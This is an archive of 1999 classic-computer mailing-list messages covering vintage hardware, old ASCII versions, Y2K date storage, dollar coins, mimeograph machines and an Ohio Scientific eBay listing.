pechter.ddns.org 3.0-CURRENT FreeBSD 3.0-CUR i386 i386 Bill From pechter at monmouth.com Mon Jan 11 05:44:30 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:39:58 2005 Subject: ST506 on a modern system In-Reply-To: from Tony Duell at "Jan 10, 99 10:56:49 pm" Message-ID: <199901111144.GAA14823@pechter.ddns.org> > Of course why you want to is another matter. IMHO ST506 drives should be > reserved for those machines that _need_ them - machines that you can't > use an IDE drive with (there are plenty of other ST506 controllers that > don't look a bit like that Western Digital one, you see). ST506 drives > are rarely larager than 120Mbytes - massive on a classic computer but > tiny on a modern PC. > > -tony > > > Massive. Tony, please. Massive was the Bell Labs AT with three Fujitsu Eagles on it. It ran a WD SMD controller. Would've loved to see Xenix on that beast. It was running DOS. Bill --- " ... Overall we've found FreeBSD to excel in performace, stability, technical support, and of course price. Two years after discovering FreeBSD, we have yet to find a reason why we switch to anything else" -David Filo, Yahoo! From william at ans.net Mon Jan 11 08:05:18 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:58 2005 Subject: "Non-manufacturers" In-Reply-To: Message-ID: > Sure, plenty! I can't think of a whole lot of good examples right now, > but for starters there was Bell & Howell with their "RARE!" black Apple II > models. Bell and Howell (Hell and Bowel, Ball and Howl, etc.) made plenty of their own stuff (mainly peripherels), however. William Donzelli william@ans.net From william at ans.net Mon Jan 11 08:06:14 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:59 2005 Subject: Silicon Graphics Irix In-Reply-To: <199901082120.PAA21564@wildride.netads.com> Message-ID: > |I have a chance to grab some Silicon graphics Irix 31xx machines... They > |SEEM to need a boot tape. Anyone know anything about these boxes? What's > |the OS? > > Where are you located? Are there more than you want? If anything, please save the cards. There are lots of custom and rare chips in those things. William Donzelli william@ans.net From rigdonj at intellistar.net Mon Jan 11 10:02:51 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:59 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: <3.0.16.19990110123804.60079da6@ricochet.net> Message-ID: <3.0.1.16.19990111100251.3adfdff2@intellistar.net> At 06:56 PM 1/10/99 -0600, you wrote: >At 12:53 PM 1/9/99 +1030, you wrote: >>Are they polymer rather than paper like all ours are now? > >Still paper, but with a few more security features. > >>To save money, the govt withdrew all coins below 5c, we now have $1 & $2 >>coins, > >The US could have hundreds of millions of dollars by doing that (at least >$1 coins) but it has been demonstrated around the world that the only way >to do that *successfully* is to pull the bills out of circulation >immediately as the coins are released. The biggest reason that the US government was considering switching to a dollar coin was the satisify the vending machine owners. They were losing sales because many items sold for more than a dollar and people didn't carry enough change to make the purchases. The owners claimed they couldn't make a machine that would take bills but soon another company started marketing a change machine and when they did it killed the demand for a dollar coin. The public never liked the dollar coins and the banks seldom gave them out unless you asked for them. > >Our "Susie B" dollar was a failed attempt -- becuase the bill was not >pulled. FORCING the public to use it is not my idea of success! People claim silly things like it was too close in size to the >quarter (BS - try it sometime) or it was too heavy. It is too heavy compared to a bill. Try putting ten or twenty of them in your pocket and carry them around for a day! Joe From rigdonj at intellistar.net Mon Jan 11 10:10:29 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:59 2005 Subject: Ohio Scientific box In-Reply-To: <3699670C.FA5439E4@rain.org> References: <4.1.19990110170326.009f49b0@208.226.86.10> Message-ID: <3.0.1.16.19990111101029.3adf407c@intellistar.net> At 06:50 PM 1/10/99 -0800, you wrote: >Chuck McManis wrote: >> >> http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55598937 >> >> On Ebay. Not one of the "interesting" ones but rare none-the-less. > >Also interesting is that it is located in Minnesota, and California >residents pay the 7 3/4% sales tax! Probably one of those guys that collects sales taxs but never pays them! Joe > From jfoust at threedee.com Mon Jan 11 08:47:01 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:39:59 2005 Subject: Berkeley Enterprises 1956 Report In-Reply-To: References: Message-ID: <3.0.5.32.19990111084701.00f79740@pc> At 01:29 AM 1/11/99 -0600, Doug Yowza wrote: > >I have the plans for Magdum, and it's about 30 pages of hand-drawn >schematics. Does anybody know of a way to convert a raster scan of this >kind of stuff to some sort of vectorized format (maybe EPS)? There are methods of scanning blueprints and converting them to CAD formats, but these programs are expensive and esoteric, and I'm not sure how much hand-drawing they tolerate. There are common methods of auto-tracing for illustration purposes. PhotoShop, for example, can trace a bitmap and export the path as an Adobe Illustrator file, a form of EPS. However, these AI/EPS files are ASCII, meaning they'll take up as much (or more) space than a mono TIFF. What's your objective? Distribution of the images? I say leave them as scans. Autotracing and cleanup of 30 pages would consume days. How would you view EPS/AI files? Tools for viewing and printing bitmaps are far more common and easier to use than tools that handle EPS/AI. (I know about Ghostscript.) - John From meo at netads.com Mon Jan 11 09:08:11 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:59 2005 Subject: Y2K stuff In-Reply-To: <3.0.16.19990110123804.60079da6@ricochet.net> from "Uncle Roger" at Jan 10, 99 06:56:26 pm Message-ID: <199901111508.JAA01195@wildride.netads.com> Uncle Roger said... | |Our "Susie B" dollar was a failed attempt -- becuase the bill was not |pulled. People claim silly things like it was too close in size to the |quarter (BS - try it sometime) or it was too heavy. No, I'm afraid it's true. Because the average person is too lazy to do much thinking for themselves. Just witness the number of drivers who react rather than think to events around them. Besides, we pay others to think for us, why should we have to do it? -Miles Which is half the reason we are blighted by the PC today - because of the "nobody ever got in trouble for buying IBM" attitude. From gram at cnct.com Mon Jan 11 09:42:45 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:39:59 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: <3.0.1.16.19990111100251.3adfdff2@intellistar.net> Message-ID: There are still a lot of Suzy B dollars in circulation. Among other things, if you put a $5 bill into a turnstile machine for the trains that go between New York and New Jersey (PATH), you'll get your change in dollar coins. The same applies to bus/train ticket machines for New Jersey Transit. I know that was also the case with the light rail ticket machines in San Jose back in 90-91, but I have no idea whether that's still the case. And if the ticket machine runs out of Suzy Bs, you wind up with a major load of quarters. Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor On Mon, 11 Jan 1999, Joe wrote: > At 06:56 PM 1/10/99 -0600, you wrote: > >At 12:53 PM 1/9/99 +1030, you wrote: > >>Are they polymer rather than paper like all ours are now? > > > >Still paper, but with a few more security features. > > > >>To save money, the govt withdrew all coins below 5c, we now have $1 & $2 > >>coins, > > > >The US could have hundreds of millions of dollars by doing that (at least > >$1 coins) but it has been demonstrated around the world that the only way > >to do that *successfully* is to pull the bills out of circulation > >immediately as the coins are released. > > The biggest reason that the US government was considering switching to a > dollar coin was the satisify the vending machine owners. They were losing > sales because many items sold for more than a dollar and people didn't > carry enough change to make the purchases. The owners claimed they couldn't > make a machine that would take bills but soon another company started > marketing a change machine and when they did it killed the demand for a > dollar coin. The public never liked the dollar coins and the banks seldom > gave them out unless you asked for them. > > > >Our "Susie B" dollar was a failed attempt -- becuase the bill was not > >pulled. > > FORCING the public to use it is not my idea of success! > > People claim silly things like it was too close in size to the > >quarter (BS - try it sometime) or it was too heavy. > > It is too heavy compared to a bill. Try putting ten or twenty of them in > your pocket and carry them around for a day! > > Joe > > From william at ans.net Mon Jan 11 10:39:22 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:59 2005 Subject: new to the list In-Reply-To: <199901090750.BAA23764@wildride.netads.com> Message-ID: > I will happily take any RS/6K off the hands of > anyone who doesn't want it. 8^) How about a PowerServer 930? They come with a dead UPS, 700 meg disk, and up to 128 megs of RAM. Its heavy! Available in the New York area... William Donzelli william@ans.net From william at ans.net Mon Jan 11 10:40:29 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:59 2005 Subject: old sgis In-Reply-To: <199901092019.NAA19038@canuck.com> Message-ID: > IMnot-so-HO, that's too much money. Stuff of that vintage should be GIVEN > to you for nothing. Pay 'em $90 only if they'll deliver. $30 is about scrap price, maybe a little low... William Donzelli william@ans.net From ekman at lysator.liu.se Mon Jan 11 10:40:39 1999 From: ekman at lysator.liu.se (Fredrik Ekman) Date: Sun Feb 27 18:39:59 2005 Subject: North Star Horizon In-Reply-To: <199901110802.AAA05573@lists4.u.washington.edu> Message-ID: Speaking of the Horizon, does anyone know anything about a New Jersey-based company called Dendron Amusements? They apparently produced a number of games for the Horizon based on Avalon Hill's strategy board games. This must have been around 1979. I am interested in any kind of information about this company or its games. /Fredrik From william at ans.net Mon Jan 11 10:41:54 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:59 2005 Subject: a little more compucolor rant; sgi In-Reply-To: <199901092035.NAA19633@canuck.com> Message-ID: > That's why we're after our first Cray, Please tell... William Donzelli william@ans.net From meo at netads.com Mon Jan 11 10:50:55 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:59 2005 Subject: ST506 on a modern system In-Reply-To: from "Tony Duell" at Jan 10, 99 10:56:49 pm Message-ID: <199901111650.KAA01675@wildride.netads.com> Tony, Thanks for the info. |Of course why you want to is another matter. IMHO ST506 drives should be |reserved for those machines that _need_ them... But when the classic is dead and you need to recover data... From meo at netads.com Mon Jan 11 11:00:51 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:59 2005 Subject: Berkeley Enterprises 1956 Report In-Reply-To: <3.0.32.19990110225957.00692284@cadvision.com> from "Mark Gregory" at Jan 10, 99 10:59:59 pm Message-ID: <199901111700.LAA01753@wildride.netads.com> Mark Gregory said... | |Very interesting document, Doug, and fun to read. But I think that in 1956, |a $4000 computer (Simon) could hardly be considered a home or personal |computer. Wouldn't that have been more than most people's annual salary? It would have bought a decent new house in many parts of the country. From meo at netads.com Mon Jan 11 11:07:37 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:59 2005 Subject: new to the list In-Reply-To: from "William Donzelli" at Jan 11, 99 11:39:22 am Message-ID: <199901111707.LAA01806@wildride.netads.com> William Donzelli said... | |How about a PowerServer 930? They come with a dead UPS, 700 meg disk, and |up to 128 megs of RAM. Its heavy! | |Available in the New York area... And what would shipping for that beast cost? From meo at netads.com Mon Jan 11 11:08:58 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:59 2005 Subject: Berkeley Enterprises 1956 Report In-Reply-To: <199901111700.LAA01753@wildride.netads.com> from "Miles O'Neal" at Jan 11, 99 11:00:51 am Message-ID: <199901111708.LAA01814@wildride.netads.com> Miles O'Neal said... | |It would have bought a decent new house in many parts |of the country. Which country? Texas. And probably a good bit of the USA. 8^) -Miles, a bit under the weather, so even less clear than usual From mtapley at swri.edu Mon Jan 11 11:03:47 1999 From: mtapley at swri.edu (Mark Tapley) Date: Sun Feb 27 18:39:59 2005 Subject: Sociology and Message formatting (Spiritusumdrucker) In-Reply-To: <199901090802.AAA18372@lists3.u.washington.edu> Message-ID: All, >By the time I was in high school dittos were a distant memory. To put it >in (classiccmp) perspective, by that time inkjets were still on the >horizon and dot matrix printers were still the . As a matter of fact, mimeograph/ditto/Spiritusumdrucker machines provided me with one of my favorite examples of "antique" technology's applicability. My wife was teaching at a high school in the early 1990's that had a way over-subscribed photocopier and an idle mimeograph machine. She made handouts on our Mac Plus using WriteNow and SuperPaint (both fantastic programs). She then printed them onto mimeograph masters using our ImageWriter 1, an *impact* (dot-matrix) printer, at home the night before class. She'd take the master to school in the morning, hook it up to the mimeograph machine, and crank out 250 copies as fast as she could turn the crank - then stroll to class past the line of frantic teachers awaiting their turn on the photocopier, having saved the school appx. $10 in copying costs. She could also save and modify files and print new masters at her convenience. No need to carefully retype or coddle a master for a whole year for next year's class, or try to stretch a dying master for 30 more prints. It was a great system. BTW, she later convinced me to *give away* the Imagewriter in favor of a Stylewriter (inkjet) we recieved as a gift, just prior to moving to Texas. Not one of my better decisions. Ah well. - Mark From Philip.Belben at PowerTech.co.uk Mon Jan 11 12:12:02 1999 From: Philip.Belben at PowerTech.co.uk (Philip.Belben@PowerTech.co.uk) Date: Sun Feb 27 18:39:59 2005 Subject: Sociology and Message formatting Message-ID: <802566F6.00638256.00@PTECHNOTES02.PowerTech.co.uk> > Spiritusumdrucker! What a fantastic word! I think that would be a > mimeograph? Oh, a spirit duplicator! I've been wondering for ages what a Mimeograph was! In the UK such machines were generally known by brand names. For small runs - a couple of hundred copies - one used a Banda machine (2-part sheets on which typing or writing transferred a waxy, usually purple ink to the back of the top sheet. The duplicating machine put solvent on this so it would transfer the ink to the paper. For longer runs one used a Gestettner (I don't know how to spell it, either) machine. Cut stencils by typing with the ribbon disabled in your typewriter, or drawing with a special stylus. I heard of electronic stencil cutters that would transfer a plain paper image to a Gestettner stencil, but I never saw one. Philip. From Philip.Belben at PowerTech.co.uk Mon Jan 11 12:15:10 1999 From: Philip.Belben at PowerTech.co.uk (Philip.Belben@PowerTech.co.uk) Date: Sun Feb 27 18:39:59 2005 Subject: Old ASCII (was: Re: Stupid CP/M question) Message-ID: <802566F6.00640126.00@PTECHNOTES02.PowerTech.co.uk> > (including the square brackets) after the PIP command. The syntax is wierd > but that's the way DEC did it in all of their operating systems, which CP/M > is based on. (Actually, they use the underscore which according to the > pre-1968 (?) version of ASCII looked like a leftward-pointing arrow.) PET has a left arrow for that code as well. Sensible, since underscore is available elswhere in the character set (shift-$ IIRC) but I never knew it used to be standard ASCII. What other changes have there been? Is there any precedent for PET using up-arrow instead of circumflex? Philip. From Hans.Franke at mch20.sbs.de Mon Jan 11 13:41:06 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:39:59 2005 Subject: Ink printers(wasSociology and Message formatting) In-Reply-To: References: <199901081937.MAA01550@calico.litterbox.com> Message-ID: <199901111842.SAA12063@nixpbe.pdb.sni.de> > By the time I was in high school dittos were a distant memory. To put it > in (classiccmp) perspective, by that time inkjets were still on the > horizon and dot matrix printers were still the shit. Of what time you are talking ? In 1979 I had to do some maintenance for ink jet printers - 4 weeks in a small room between spare parts and nothing else to do but adjustind ink timing and cleaning these bloody heads. Ink jet was in fact already in wide use at this time - for example all teminal systems in the tax office here in Munich where equipped with ink jet printers as hard copy/form printing devices. Servus Hans -- Ich denke, also bin ich, also gut HRK From dpeschel at u.washington.edu Mon Jan 11 13:06:25 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:59 2005 Subject: Old ASCII (was: Re: Stupid CP/M question) In-Reply-To: <802566F6.00640126.00@PTECHNOTES02.PowerTech.co.uk> from "Philip.Belben@PowerTech.co.uk" at Jan 11, 99 06:15:10 pm Message-ID: <199901111906.LAA13329@saul2.u.washington.edu> > PET has a left arrow for that code as well. Sensible, since underscore is > available elswhere in the character set (shift-$ IIRC) but I never knew it > used to be standard ASCII. What other changes have there been? Is there > any precedent for PET using up-arrow instead of circumflex? Bingo! Yes, there is. That's the other major change. There have been, I think, three major versions of ASCII. (Although ASCII seems to be a very clear-cut standard, the history becomes very intricate if you consider how ECMA, the US military, and possibly other standards bodies got involved. Also, I think the character code itself, and the devices that implemented it, influenced each other. So I don't know all the details.) First version - 1963 (?) - This only had uppercase; the control characters had slightly different names (which I don't have here -- sorry!) and code 176 octal was assigned to Escape. That's the reason why Hazeltine terminals have so much trouble with tildes, by the way. Second version - 1968 (?) - The one I mentioned. The same as ours except for the underline being a left arrow and the caret being an upward-pointing arrow. I think the control characters had their modern names Third version - when? - This is the version I grew up with and consider standard. It's the one found in zillions of ASCII charts. The standard hides some interesting details, though: - You are allowed to use some characters as accents by overstriking. They are ' ` ~ ^ " and (I think) , as a cedilla. - There are a couple of other deliberate ambiguities. The tilde can be an overline and ^ can be another representation for the PL/I-style logical not. (These ambiguities could be in another version -- I hope I'm not getting confused here.) Actually, I lied. There is a fourth version (it's an ISO standard or some- thing). And there are international variants too. But since the fourth verrsion is basically the same as the third version except for the names of control characters (all the separators are now numbered), I don't really consider it any different than the previous versions. -- Derek From Hans.Franke at mch20.sbs.de Mon Jan 11 14:08:32 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:39:59 2005 Subject: Bulbs in parallel In-Reply-To: <199901050345.TAA08113@fraser.sfu.ca> References: from "Doug Coward" at Jan 4, 99 01:18:45 pm Message-ID: <199901111909.TAA12892@nixpbe.pdb.sni.de> > > Or, how about a one bit readable, writable memory circuit consisting of > > one neon bulb, two resistors, and a capacitor? > > - snip - > Or an entire digital computer out of ropes and pulleys? So, where is the gag ? Just don't forget, the Z1 was entirely mechanical, to be powered by a crank (if necercary - of course they prefered th electric motor :). Gruss h. -- Ich denke, also bin ich, also gut HRK From yowza at yowza.com Mon Jan 11 13:31:53 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:59 2005 Subject: Bulbs in parallel In-Reply-To: <199901111909.TAA12892@nixpbe.pdb.sni.de> Message-ID: On Mon, 11 Jan 1999, Hans Franke wrote: > > Or an entire digital computer out of ropes and pulleys? > > So, where is the gag ? Just don't forget, the Z1 was entirely > mechanical, to be powered by a crank (if necercary - of course they > prefered th electric motor :). Gag? Mechanical computers are serious stuff, Hans. Like Danny Hillis' tinker-toy tic-tic-toe machine: http://www.yowza.com/classiccmp/toy/tinkertoy.jpg ObOT: BTW, does anybody know approximately when tit-tat-toe got renamed tic-tac-toe? Or is a regional thing? -- Doug From Hans.Franke at mch20.sbs.de Mon Jan 11 14:59:19 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:39:59 2005 Subject: y2k stuff In-Reply-To: References: Message-ID: <199901112000.UAA14462@nixpbe.pdb.sni.de> > > Whenever there's a person involved then I think there's much less of a > > problem. People tend to behave more resonably. An electricity company > > employee is not going to believe that all the customers have suddenly > > forgotten to pay their bills, no matter what the computer says. > Well, there is the recently reported story (just heard it two days ago) > about a German man who drove into a river and drowned because his car's > automatic navigation system told him he was on the correct route, despite > the desparate attempts by many people on the side of the road to wave him > down to warn him the road was out. Jep, it was in Hamburg (you know, Fischköp - "fishheads" :) - for myself, I rather belive the didn't like the car at all and tried to get rid of it witthout money loss - Some of these BMW drivers are just stupid. Gruss Hans -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Mon Jan 11 14:59:19 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:39:59 2005 Subject: y2k stuff In-Reply-To: <3.0.5.32.19990105100113.00ff9540@pc> References: <19990105025853.3742.qmail@brouhaha.com> Message-ID: <199901112000.UAA14470@nixpbe.pdb.sni.de> > >Once databases started being kept on disk drives, saving two bytes for each > >date may not have sounded like much, but it literally did save money. It > >takes fewer disk packs (and perhaps fewer drives) to store 92-byte records > >than 94-byte records. I don't know how many decisions were made on that > >basis, but you can't realistically ignore it. > There's a dozen lame excuses as to why They Did It That Way. Few of > them make any sense. If they'd stored the year in a seven or eight > bits offset from their earliest year, instead of two ASCII or BCD > digits, they'd halve their storage requirements. Lame excuse ? Sorry, but there is a _big_ difference. Stored as (unsigned) BCD, I can convert a date in just two machine instructions (UNPK and OI) - not only the year but the whole date and maybe even time - but if I use a binary year, I need at least 5 instructions (XR, IC, CVD, UNPK, OI) just for the year (not to mention 8 additional bytes of scrap mem :) - and, at least in our case, time was more important. We had to serve up to 300 users on a 0.8 MIPS CPU (Average of 4 transactions per second) in 1980. So, instruction counting was a serious business (and it still is !). Of course The space was also limited, when the biggest disk available was just 144 MB - and in fact, althrough instruction count isn't that important anymore, space still is - If you have life data bases of more than 20 million entries, hundred bytes more or less is just another disk drive .) At least for this project we are finished since more than half a year with all Y2K changes - did anybody say Europe is late ? Doing a job is (in most cases) a silent thing and don't need any morning and ranting about the upcomming doom - Lets wait and see. Gruss H. P.S.: And for the Russian thing (Zane), there is no real difference between a still in use PDP11 in the US, Germany or Russia - in fact, I trust some russian military technology a more than US or German. Tricks are alway better than transistors (Glenn Henry). -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Mon Jan 11 14:59:19 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:39:59 2005 Subject: y2k stuff In-Reply-To: References: from "Sam Ismail" at Jan 4, 99 04:36:48 pm Message-ID: <199901112000.UAA14467@nixpbe.pdb.sni.de> > > What I wonder is why people didn't just store the date as decimal in those > > two bytes. You can go up to the year 65535 that way. I'm positive there > Maybe because the software was written on a machine (or for an OS that > simulated a machine) using punched cards or something. You can't > necessarily represent 256 different values using standard punches in a > column of a card. Some combinations are illegal. Nop - or better partly correct - it is true that not every punch combination was legel (that would be 4096 possible) but at least there was a legal combination for any possible 8-Bit combination. Otherways I would have been impossible to boot from a punch card reader ! > Anyway, a 'byte', or more particularly a character, is not necessarily 8 > bits. It may be _now_, but it wasn't then. I love your comments (and I guess you had also some contact with these 9 Bit Byte Bull Mini computers :) Gruss H. -- Ich denke, also bin ich, also gut HRK From bill at chipware.com Mon Jan 11 14:08:42 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:39:59 2005 Subject: Bulbs in parallel In-Reply-To: Message-ID: <000701be3d9e$2fa5ba70$bb88e9cf@yamato.chipware.com> > > So, where is the gag ? Just don't forget, the Z1 was entirely > > mechanical, to be powered by a crank (if necercary - of course they > > prefered th electric motor :). > > Gag? Mechanical computers are serious stuff, Hans. Like Danny Hillis' > tinker-toy tic-tic-toe machine: > http://www.yowza.com/classiccmp/toy/tinkertoy.jpg > > ObOT: BTW, does anybody know approximately when tit-tat-toe got renamed > tic-tac-toe? Or is a regional thing? Don't our "Queen's English" friends (uk and au) call it "naughts and crosses"? From Hans.Franke at mch20.sbs.de Mon Jan 11 15:11:36 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:39:59 2005 Subject: Y2K stuff In-Reply-To: <3.0.16.19990110123804.60079da6@ricochet.net> Message-ID: <199901112012.UAA15229@nixpbe.pdb.sni.de> > >To save money, the govt withdrew all coins below 5c, we now have $1 & $2 > >coins, > The US could have hundreds of millions of dollars by doing that (at least > $1 coins) but it has been demonstrated around the world that the only way > to do that *successfully* is to pull the bills out of circulation > immediately as the coins are released. We have it right the other way - there is a 5 Mark coin and a 5 Mark note, but you will get a note only _very_ seldom - a coin is just more easy to handle - I used to collect all 5 Mark notes I ever got I just recives 43 notes in more than 25 years ! > Our "Susie B" dollar was a failed attempt -- becuase the bill was not > pulled. People claim silly things like it was too close in size to the > quarter (BS - try it sometime) or it was too heavy. In fact, it's more what some think that the people think. If offered, it _will_ be used (just giving them as change in post office vending machines is no offer). We had a very simmilar thing over here - when they introduced the new notes, our politicians voted against scraping the (not used) 5 Mark note - since the people want to have it, and need it and bla bla bla. OT:: Reminds me always of the A20 gate. Gruss H. -- Ich denke, also bin ich, also gut HRK From adavie at mad.scientist.com Mon Jan 11 14:45:59 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:39:59 2005 Subject: Ohio Scientific box In-Reply-To: <3.0.1.16.19990111101029.3adf407c@intellistar.net> Message-ID: <000401be3da3$64c75060$3bf438cb@a.davie> The seller informs me that it's actually a Challenger 1P, NOT a Challenger II. Be aware. A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html ? ? > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Joe > Sent: Monday, January 11, 1999 9:10 PM > To: Discussion re-collecting of classic computers > Subject: Re: Ohio Scientific box > > > At 06:50 PM 1/10/99 -0800, you wrote: > >Chuck McManis wrote: > >> > >> http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55598937 > >> > >> On Ebay. Not one of the "interesting" ones but rare none-the-less. > > > >Also interesting is that it is located in Minnesota, and California > >residents pay the 7 3/4% sales tax! > > Probably one of those guys that collects sales taxs but never pays them! > > Joe > > > > From bill at chipware.com Mon Jan 11 14:57:10 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:39:59 2005 Subject: Ohio Scientific box In-Reply-To: <000401be3da3$64c75060$3bf438cb@a.davie> Message-ID: <000801be3da4$f4ffd390$bb88e9cf@yamato.chipware.com> > The seller informs me that it's actually a Challenger 1P, NOT a Challenger > II. > Be aware. > A Yea, I noticed you were high bidder on it this morning. I was going to point that out but figured you must have known. How could the seller have missed the big silver label on the front? From bill at chipware.com Mon Jan 11 15:10:35 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:39:59 2005 Subject: Ohio Scientific box In-Reply-To: <000401be3da3$64c75060$3bf438cb@a.davie> Message-ID: <000901be3da6$d488e780$bb88e9cf@yamato.chipware.com> By the way, if you get it (and want it) and you need info or help, let me know. I have original docs and Sams for it as well as some software that I will soon try to put on audio CD. From adavie at mad.scientist.com Mon Jan 11 15:10:28 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:39:59 2005 Subject: Ohio Scientific box In-Reply-To: <000801be3da4$f4ffd390$bb88e9cf@yamato.chipware.com> Message-ID: <000901be3da6$d0c83600$3bf438cb@a.davie> I have a friend (NOT a computer collector) with a fully functional, mint condition Challenger 1P disk system. All documentation, lots of disk software. He has it crammed in a box in his garage, and won't sell it. Hell, he won't even leave it to me when he dies (says he plans to be buried with it). As I borrowed this system when I was youngish (16), and it was my first taste of a home computer, I'm pretty keen to get a nice OSI system running. This is my reason for high bidding on that eBay item. A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html ? ? > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Bill Sudbrink > Sent: Tuesday, January 12, 1999 7:57 AM > To: Discussion re-collecting of classic computers > Subject: RE: Ohio Scientific box > > > > The seller informs me that it's actually a Challenger 1P, NOT a > Challenger > > II. > > Be aware. > > A > > Yea, I noticed you were high bidder on it this morning. I was going to > point that out but figured you must have known. How could the seller have > missed the big silver label on the front? > > > From dastar at ncal.verio.com Mon Jan 11 15:18:44 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:59 2005 Subject: Ink printers(wasSociology and Message formatting) In-Reply-To: <199901111842.SAA12063@nixpbe.pdb.sni.de> Message-ID: On Mon, 11 Jan 1999, Hans Franke wrote: > > By the time I was in high school dittos were a distant memory. To put it > > in (classiccmp) perspective, by that time inkjets were still on the > > horizon and dot matrix printers were still the shit. > > Of what time you are talking ? In 1979 I had to do some > maintenance for ink jet printers - 4 weeks in a small > room between spare parts and nothing else to do but > adjustind ink timing and cleaning these bloody heads. > Ink jet was in fact already in wide use at this time - > for example all teminal systems in the tax office here > in Munich where equipped with ink jet printers as hard > copy/form printing devices. When I entered high school in 1987 InkJet printers were just hitting the mass consumer market. My memory could be wrong however. But I don't remember anything other than fast dot matrix printers being all the rage then. To have an ImageWriter II at that time was a very cool thing. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From bill at chipware.com Mon Jan 11 15:20:57 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:39:59 2005 Subject: Ohio Scientific box In-Reply-To: <000901be3da6$d0c83600$3bf438cb@a.davie> Message-ID: <000a01be3da8$479cc8d0$bb88e9cf@yamato.chipware.com> You said that you communicated with the seller. How did he/she get the notion that it was a C2? From george at racsys.rt.rain.com Mon Jan 11 15:37:13 1999 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:39:59 2005 Subject: Ohio Scientific box In-Reply-To: <000901be3da6$d488e780$bb88e9cf@yamato.chipware.com> Message-ID: Be sure to let this group know if you get some of the old tape based software onto CD.... What software titles do you have? What is the legal status of all of those titles? George Rachor ========================================================= George L. Rachor george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com KD7DCX On Mon, 11 Jan 1999, Bill Sudbrink wrote: > By the way, if you get it (and want it) and you need info or > help, let me know. I have original docs and Sams for it as > well as some software that I will soon try to put on audio CD. > > From dastar at ncal.verio.com Mon Jan 11 15:22:53 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:59 2005 Subject: Bulbs in parallel In-Reply-To: Message-ID: On Mon, 11 Jan 1999, Doug Yowza wrote: > ObOT: BTW, does anybody know approximately when tit-tat-toe got renamed > tic-tac-toe? Or is a regional thing? Probably when the puritanical religious right zealots got wind of the game. I'm sure in Europe they still call it that (if indeed they play it there too :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From ard at p850ug1.demon.co.uk Mon Jan 11 13:07:36 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:59 2005 Subject: ST506 on a modern system In-Reply-To: <369967F5.83C9A762@idirect.com> from "Jerome Fine" at Jan 10, 99 09:54:45 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2080 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990111/27453ac6/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 11 14:27:18 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:59 2005 Subject: Sociology and Message formatting In-Reply-To: <802566F6.00638256.00@PTECHNOTES02.PowerTech.co.uk> from "Philip.Belben@PowerTech.co.uk" at Jan 11, 99 06:12:02 pm Message-ID: 